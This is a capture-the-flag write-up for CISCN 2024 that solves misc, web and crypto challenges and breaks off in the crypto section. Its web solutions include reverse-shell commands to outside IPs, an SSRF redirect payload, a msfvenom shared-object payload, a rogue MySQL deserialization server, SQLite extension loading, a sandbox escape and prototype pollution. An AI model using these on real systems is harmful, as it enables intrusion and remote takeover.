2024 ciscn WP

news2024/11/27 5:29:22

一、MISC

1.火锅链观光打卡

打开后连接自己的钱包,然后点击开始游戏,答题八次后点击获取NFT,得到有flag的图片

没什么多说的,知识问答题

兑换 NFT

Flag{y0u_ar3_hotpot_K1ng}

2.Power Trajectory Diagram

方法1:
使用py中的 numpy 和 pandas 库读取 npz文件 并保存为csv文件,代码如下:
import numpy as np
import pandas as pd
np.set_printoptions(threshold=np.inf)
a1 = np.load('attachment.npz', allow_pickle=True)
print(a1.files)
print('read:', a1)
index = a1['index']
myin = a1['input']
myout = a1['output']
mytra = a1['trace']
# print(mytra.shape)
df = pd.DataFrame(mytra)
df.to_csv('data1.csv', index=False)
df1 = pd.DataFrame({'index':index, 'input': myin})
df1.to_csv('data2.csv', index=False)
得到data1.csv、data2.csv,合并得到data.csv。
打开data.csv,可以看到功耗数据,根据https://zhuanlan.zhihu.com/p/157585244,我认为该题的关键是在于找到与其它字符不同的字符,就是该index的正确密码。
基于此,利用Excel的折线图功能,例如第四个字符,如图所示:
在这里插入图片描述

可以看出,有一条绿色线与其它线都不同,为c,所以第四个字符就是c。

依次重复,得到整个密钥:_ciscn_2024_

即flag:flag{_ciscn_2024_}

方法2:
测试代码:
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
matplotlib.use('tkAgg')
data = np.load("./attachment.npz")
print(data.files)
aa = data[data.files[0]]
bb = data[data.files[1]]
cc = data[data.files[2]]
dd = data[data.files[3]]
print(len(aa), aa)
print(len(bb), bb)
print(len(cc), cc)
print(len(dd), dd)
for i in range(len(dd)):
    plt.scatter([i for i in range(len(dd[i]))], dd[i])
    plt.show()
从 npz 文件中提取到四个文件的值,output 为空,其他 3 个文件提取的数组长度都是 520,根据   index 每 40 个可得出一个明文,大致判断共有 13 个明文。
input是一个表
output 为空
trace 里的数据都是小数
尝试对 trace 里的数据画点图:
发现每组数据的最大值有很多点,最小值的点只有几个,所以我们尝试找出trace每组数据的最小值的下标:
import numpy as np
data = np.load("./attachment.npz")
dd = data[data.files[3]]
for i in range(len(dd)):
    min_index = np.argmin(dd[i])
    print(f"Minimum index for group {i}: {min_index}")
除了最后一组数据全为 985,其余数据中都有其他不同的数字
用每四十组数据的最小值的下标再画一次图分析,发现最大值只有一个,所以我们需要继续找最大值的下标,然后再从input表中获取对应的字符即可:
exp:
import numpy as np
import matplotlib.pyplot as plt
f = np.load('./attachment.npz')
index = f['index']
ip = f['input']
tr = f['trace']
flag = ""
for _ in range(13):
    t = []
    table = ip[40*_:40*(_+1)]
    for i in range(40):
        # 每个列表画一个散点图,发现最小值
        # plt.scatter([i for i in range(len(tr[_*40+i]))], tr[_*40+i])
        # plt.show()
        # 获取该列表的最小值的下标
        min = np.argmin(tr[_*40+i])
        # 将最小值的下标插入新列表
        t.append(min)
    # 用 40 个列表的最小值的下标作为数据,画图,发现有最大值
    for i in range(len(t)):
        plt.scatter([i for i in range(len(t))], np.array(t))
        plt.show()
    # 求最大值的下标
    mins = np.argmax(t)
    # 用下标从表里取字符
    ind = table[mins]
    # 把字符加到flag里
    flag += ind
print(flag)
得到:_ciscn_2024_a
由于前面最后一组数据全是 985,因此最后一组数据得出的 a 不算
去掉 a 得到最终flag为:flag{_ciscn_2024_}

3.神秘的文件

方法1:
究极套娃,看的眼睛都要花了,真就纯找。得到PPT文件,直接改后缀为.zip去找
part1
在docProps目录下的两个xml中,app.xml提示了解密算法,core.xml提示了密文和密钥key,直接上赛博
image
image
part2
在ppt/embeddings文件夹下的docx中,从PPT打开的话就是第二章左上角那块黑色的,双击就行,打开后全选,改字体大小,改颜色,凯撒偏移量10解密,然后base64解密,得到part2
image
image
part3
在vbaProject.bin中,这个真的找了好久,后来也是网上搜得到说ppt隐写可能跟宏和宏脚本有关系,叫VBA工程解密。先010打开vbaProject.bin,找DPB字节,把最后一位改成x,然后保存,之后改后缀为.zip,直接打开会发现其中内涵的文件,打开VBA文件夹下的模块一
image
发现一段密文,不知道是啥但是提示是base64之后的,那就先解密呗,然后得到乱码,一般这种特殊字符多的不是RC4就是rot,最后发现是无密码RC4解密,然后再解一层base64
image
part4
直接打开PPT(因为它是由media文件夹下的图片拼成的),第三张,好像是要选可见隐藏字符,因为我电脑自动默认选的所以直接可以看,base64解码
image
part5
是在第五章ppt的注释中,直接赛博厨师帽跑,多层base64解码,得到第五部分
image
part6
是在第五张PPT正文边界的左上角,把它界面缩放或者直接拆media文件夹都可以,base64解码
image
part7
是在ppt\slides下的slides4.xml中,id4的位置,下面提示rot13 all,暗示包括number,base64解码
image
part8
在slideLayout2.xml中,南平,最开始没理解最后是啥意思,连一起了才看懂。。。。,就是要除去上面字符串中的Bb13。。。然后base64解码
image
image
part9
直接在media文件夹下,看那个猫人的图片左下角,base64解码
image
part10
在comment1.xml中,维吉尼亚解码,密钥是furry
image
总之最后flag是flag{e675efb3-346f-405f-90dd-222b387edee9} 
方法2:
先是一些简单容易找到的,按照提示规则进行 base64、维吉尼亚、凯撒等解码即可
PPT 里面找到了很多东西:
改zip后缀,在 world 文档里有发现:
图片:
总共可以得到:
part2:675efb
Payt4:6f-40
pArt5:5f-90d
ParT6:d-2
parT9:deH
PARt10:9}
下面的一些就需要更加仔细了:
在压缩包里找到了二进制文件
i13POMdzEAzHfy4dGS+vUA==
这里是 base64+RC4+base64
得到 PArt3:3-34
ppt 文件属性:
密文:QFCfpPQ6ZymuM3gq
加密方式:bifld 
Key:lanjing;
得到Part1:flag{e
ppt母版:
去掉Bb13后解 base64
得到 paRt8:87e
选择窗格:
Rot13+base64
得到PART7=22b3
拼接得到最终 flag:
flag{e675efb3-346f-405f-90dd-222b387edee9}

4.大学生安全测试能力调研问卷

填问卷

5.通风机

方法1:
得到mwp文件,010打开补全前三位文件头,使用V4.0 STEP 7 MicroWIN SP9打开,每个地方都看看,之前没见过,最后在符号表中找到flag
image
base64解码后得到flag
image
方法2:
使用 binwalk 可以分离出一个zlib文件,使用python解压,代码如下:
import zlib
def decompress_zlib_file(input_filename, output_filename):
    with open(input_filename, 'rb') as compressed_file:
        compressed_data = compressed_file.read()
        decompressed_data = zlib.decompress(compressed_data)
    with open(output_filename, 'wb') as output_file:
        output_file.write(decompressed_data)
# Example usage
input_file = '35.zlib'
output_file = 'decompressed_data.txt'
decompress_zlib_file(input_file, output_file)
用Winhex 打开 decompressed_data.txt,可以看到经过base64编码后的flag。
在这里插入图片描述
解码得到flag:
在这里插入图片描述

6.盗版软件

两个文件

第一个dmp改后缀为data,用gimp2调一下参数得到域名

winhack.com

之后找ip,微步找释放文件

dump下来,loader没啥用,看output.png

发现有个zip,提取出来

发现是base85,解密之后,觉得是shellcode,改后缀为bin放微步跑得到ip

winhack.com39.100.72.235

7.DNS

发现域名很多二进制,提取出来转二维码,CQR扫一下

得到一段密码

之后继续看

发现有两种流

dns.id==0x6421
dns.id==0x4500

分别提取,一个得到压缩包,压缩包用二维码得到的解密

另一个得到乱码,file一下发现压缩包得到是pgp

不知道key,看题目描述,经过尝试发现rev+hex+rev可以成功import

之后把乱码文件处理一下,decrypt

二、WEB

1.Simple_php

题目描述:小明在学习CTF的过程中遇到了一道PHP的题目,以他有限的水平做不出来,可以帮帮他吗?
直接给了源码
image-20240518112723996
paste或者rev可以读文件
发现一个异常情况,具有mysql用户,或许可以从这里入手
image-20240518112905906
看出mysql服务开启
cmd=mysql --version
image-20240518115837118
ps -aux命令执行结果可以确认靶机有mysql服务
同时根目录下没有flag
BURP发包
cmd=l%0as /
image-20240518113950815
为了命令执行不受限,反弹shell。这里有一个小细节就是弹shell前的不可见字符是为了hex2bin函数能够成功执行。因为ban了引号,变量类型自动判断,如果十六进制开头是数字那么我设置的变量$a会被判断为数字,从而报错无法执行。
cmd=php -r $a=ff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin($a));
image-20240518134618734
mysql -uroot -proot -e "show databases;"
mysql -uroot -proot -e "use PHP_CMS;show tables;"
mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7;"
image-20240518134518410

2.easycms

题目描述:简单的cms,可以扫扫看?
hint:
提示1: /flag.php: 
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
   echo "Just input 'cmd' From 127.0.0.1";
   return;
}else{
   system($_GET['cmd']);
}
提示2:github找一下源码?
敏感目录:
/flag.php
/install.php
/Readme.txt
/Readme.txt是乱码,在线恢复一下
image-20240518134956796
迅睿CMS官方下载地址:https://www.xunruicms.com/down/
#### 安装路径
将网站运行目录(主目录)设置为:public(如果没有就忽略设置�?
安装环境监测�?/test.php
程序安装地址�?/install.php
后台登录地址�?/admin****.php�?****是随机的�?
重置后台地址:https://www.xunruicms.com/doc/1097.html
首次使用方法:https://www.xunruicms.com/doc/631.html
#### 运行环境
Laravel内核:PHP8.0及以�?
ThinkPHP内核:PHP7.4及以�?
CodeIgniter内核:PHP7.4及以�?
CodeIgniter72内核:PHP7.2及以�?
MySQL数据库:MySQL5及以上,推荐5.7及以�?
#### 内核切换方法
https://www.xunruicms.com/doc/1246.html
无法重新安装
image-20240518140745852
hint的源码告诉我们flag.php存在ssrf,可以直接getshell。源码在github上。GitHub - dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架构,基于MIT开源协议发布,免费且不限制商业使用,允许开发者自由修改前后台界面中的版权信息。
信息搜集,存在一个已知的ssrf迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表 (xunruicms.com)
image-20240518201503234
定位到源码路径xunruicms-master\dayrui\Fcms\Control\Api\Api.php的qrcode函数
thumb参数可控
image-20240519182749703
定位xunruicms-master\dayrui\Fcms\Core\Helper.php
dr_catcher_data函数存在SSRF
image-20240519182910561
302.php,拿不到回显所以只能反弹shell
<?php
    //header("HTTP/1.1 302 found"); 
    //header("Location:http://127.0.0.1:1337/flag");
    //header("Location:file:///etc/passwd");
    header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");
    exit();
?>
payload:
/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php
image-20240518164531870

3.easycms_revenge

和上题一样,改一下302.php的内容
GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22");?>
</html>
这里注意细节,靶机发了两次请求,第一次我们就返回一个正常的图片,第二次请求就发一个302,php代码块要用html标签包裹

4.ezjava

/app/BOOT-INF/lib下删了jackson,不然就能直接打POJONode
依赖里有AspectJWeaver,打任意文件写入
https://blog.csdn.net/uuzeray/article/details/136595841
后续还可以配合sqlite加载恶意so文件
https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/SQLite/index.md
然后AJ链子的入口要调用map.put
自定义类UserBean#readObject就可以配合利用
 最终思路就是先mysql打入恶意反序列化数据写入so文件,再sqlite加载恶意so文件
生成恶意so文件
msfvenom -p linux/x64/exec CMD='echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi|base64 -d|bash' -f elf-so -o evil.so
 将生成的恶意序列化数据写入output.ser
package com.example.jdbctest.exp;
import com.example.jdbctest.bean.UserBean;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
public class EXP {
    // 获取指定类的第一个构造函数,并设置为可访问
    public static Constructor<?> getCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }
    // 创建一个UserBean对象,将evil.so的内容Base64编码后存入UserBean中
    public static Object getObject() throws Exception {
        String filename = "../../../../../../../../../../../../tmp/evil.so"; // 路径指向/tmp/evil.so
        Path filePath = Paths.get("C:\\Users\\21135\\Desktop\\ciscnjava\\src\\main\\java\\com\\example\\jdbctest\\exp\\evil.so"); // 假设evil.so位于当前目录
        byte[] fileBytes = Files.readAllBytes(filePath); // 读取文件字节
        String content = Base64.getEncoder().encodeToString(fileBytes); // 将文件内容Base64编码
        UserBean bean = new UserBean(filename, content); // 创建UserBean实例
        Constructor<?> ctor = getCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(".", 12); // 实例化一个SimpleCache对象
        bean.setObj(simpleCache); // 将SimpleCache对象设置为UserBean的obj属性
        return bean;
    }
    // 序列化一个对象到字节数组
    public static byte[] serialize(Object object) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(object);
        oos.close();
        return baos.toByteArray();
    }
    // 主函数,序列化对象并将其写入文件
    public static void main(String[] args) throws Exception {
        byte[] serialized = serialize(getObject()); // 序列化对象
        String fileName = "output.ser"; // 输出文件名
        // 使用FileOutputStream将字节数据写入文件
        FileOutputStream fos = new FileOutputStream(fileName);
        fos.write(serialized);
        fos.close(); // 关闭文件输出流
    }
}
起一个恶意mysql服务,回包为恶意序列化数据
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()
def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))
def get_payload_content():
    file= r'output.ser'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")
    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content
# 主要逻辑
def run():
    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))
        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)
        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)
            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                # //获取payload
                payload_content=get_payload_content()
                # //计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # //计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break
 先利用mysql打AJ链子,写入恶意so文件
{
"type":"1",
"url":"jdbc:mysql://124.222.136.33:3309/a?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
 }
再打sqlite,指定tableName,加载写入的恶意so文件,反弹shell
{
"type":"3",
"tableName":"(select (load_extension(\"/tmp/evil.so\")));",
 "url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true"
 }
 
根目录下拿到flag

5.mossfern

考的python栈帧沙箱逃逸,获取到外部的栈帧,就可以用f_globals去获取沙箱外的全局变量
https://xz.aliyun.com/t/13635
https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/
最后注意要将获取的变量元组转字符串,再用逗号分隔,依次输出,从而绕过seed
def getflag():
    def f():
        yield g.gi_frame.f_back
    g = f()
    frame=[x for x in g][0]
    gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']
    code = frame.f_back.f_back.f_back.f_code
    dir = gattr.dir
    str = gattr.str
    print(dir(code))
    for i in str(code.co_consts):
        print(i,end=",")
getflag()

6.sanic

sanic 是一个类似flask的web框架
扫目录
访问./src
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
    def __init__(self):
        pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")
    return text("login fail")
@app.route("/src")
async def src(request):
    return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")
    return text("forbidden")
if __name__ == '__main__':
    app.run(host='0.0.0.0')
 sanic可以通过用八进制adm\073n绕过cookie
COOKIE_NAME_RESERVED_CHARS = re.compile(
    '[\x00-\x1F\x7F-\xFF()<>@,;:\\\\"/[\\]?={} \x09]'
)
OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")
QUOTE_PATTERN = re.compile(r"[\\].")
 在绕过admin后可以打pydash原型链污染,waf掉了_.
 pydash有这样一段处理
def to_path_tokens(value):
    """Parse `value` into :class:`PathToken` objects."""
    if pyd.is_string(value) and ("." in value or "[" in value):
        # Since we can't tell whether a bare number is supposed to be dict key or a list index, we
        # support a special syntax where any string-integer surrounded by brackets is treated as a
        # list index and converted to an integer.
        keys = [
            PathToken(int(key[1:-1]), default_factory=list)
            if RE_PATH_LIST_INDEX.match(key)
            else PathToken(unescape_path_key(key), default_factory=dict)
            for key in filter(None, RE_PATH_KEY_DELIM.split(value))
        ]
    elif pyd.is_string(value) or pyd.is_number(value):
        keys = [PathToken(value, default_factory=dict)]
    elif value is UNSET:
        keys = []
    else:
        keys = value
    return keys
def unescape_path_key(key):
    """Unescape path key."""
    key = key.replace(r"\\", "\\")
    key = key.replace(r"\.", r".")
    return key
这段代码主要包含了两个函数,to_path_tokens 和 unescape_path_key,用于解析和处理数据结构路径的表达式。这些函数可能是用于操作如 JSON 或嵌套字典这样的复杂数据结构。下面是对这两个函数的总结:
1. to_path_tokens 函数
目的:将输入的 value 转换为 PathToken 对象的列表,这些对象表示数据结构中的路径点。
处理逻辑:
对字符串形式的路径进行分解,处理点(.)和方括号([)来区分不同的路径段。
根据路径段的内容,区分处理为列表索引或字典键。
对特定字符串进行类型转换(如字符串形式的数字转为整数索引)。
使用正则表达式帮助分割和识别路径中的关键部分。
2. unescape_path_key 函数
目的:处理路径键中的转义字符,将转义序列转换为对应的实际字符。
实现细节:
替换路径键中的双反斜杠 (\\) 为单反斜杠 (\)。
替换路径键中的转义点 (\.) 为点 (.)。
给出脚本:
import requests
url = 'http://a053bd54-eb02-452c-af3f-299070f3fd84.challenge.ctf.show'
s = requests.Session()
s.cookies.update({
    'user': '"adm\\073n"'
})
s.get(url + '/login')
# 开启目录浏览
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True}
# 污染目录路径
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}
# r = s.post(url + '/admin', json=data)
# print(r.text)
# 获取flag路径
# r = s.get(url + '/static/')
# print(r.text)
#污染__file__,读取flag
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}
# r = s.post(url + '/admin', json=data)
# print(r.text)
# print(s.get(url + '/src').text)

三、Crypto

1、OvO

题目描述
from Crypto.Util.number import *
from secret import flag
nbits = 512
p = getPrime(nbits)
q = getPrime(nbits)
n = p * q
phi = (p-1) * (q-1)
while True:
    kk = getPrime(128)
    rr = kk + 2
    e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
    if gcd(e, phi) == 1:
        break
m = bytes_to_long(flag)
c = pow(m, e, n)
e = e >> 200 << 200
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
"""
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
"""
给的 e 其实就是 d,只是结果是移位后的输出,n 很大无法分解,但 kk 与 rr 很小,由 rr= e//n 即可推出 rr 和 kk,又由 e + x + kk*p + rr*((p+1)* (q+1))+ 1 = 65537,将 × 设为 0 和 2^200 然后联立求解一元二次方程,就能求出 p, q 的上下界,这样就有p 和q 的高位,枚举未知位尝试coppersmith 直到分解出结果,最后代入求 e 和 d,进而求得flag。
cop 攻击,exp:
# SageMath script to factor n and decrypt the message
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
def partial_p(p0, n, bits):
    PR.<x> = PolynomialRing(Zmod(n))
    f = p0 + x
    f = f.monic()
    roots = f.small_roots(X=2^(bits+5), beta=0.3)
    if roots:
        x0 = roots[0]
        p = gcd(p0 + x0, n)
        return ZZ(p)
def find_p(eh, n, bits):
    RR = RealField(1000)
    PR.<x> = PolynomialRing(RR)
    f = (kk+rr)*x**2 + (rr*(n+1)+65538)*x + rr*n - eh*x
    results = f.roots()
    if results:
        for x in results:
            p_high = int(x[0]) >> 4 << 4
            p = partial_p(p_high, n, bits)
            if p and p != 1:
                return p
# Calculating rr and kk based on given e and n
rr = e // n
kk = rr - 2
# Finding p
p = find_p(e, n, 200)
if p:
    q = n // p
    phi_n = (p - 1) * (q - 1)
    # Computing the new e based on kk and rr
    new_e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1
    # Computing the private key d
    d = inverse_mod(new_e, phi_n)
    # Decrypting the ciphertext
    m = power_mod(c, d, n)
    print(bytes.fromhex(hex(m)[2:]))
else:
print("Failed to find p.")
拿到 flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}

2、古典密码

密文:AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9
三层解密:埃特巴什+base64+栅栏
拿到 flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

3.ez_rsa

题目描述:
ezrsa.py:
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import random
from secret import flag
m = bytes_to_long(flag)
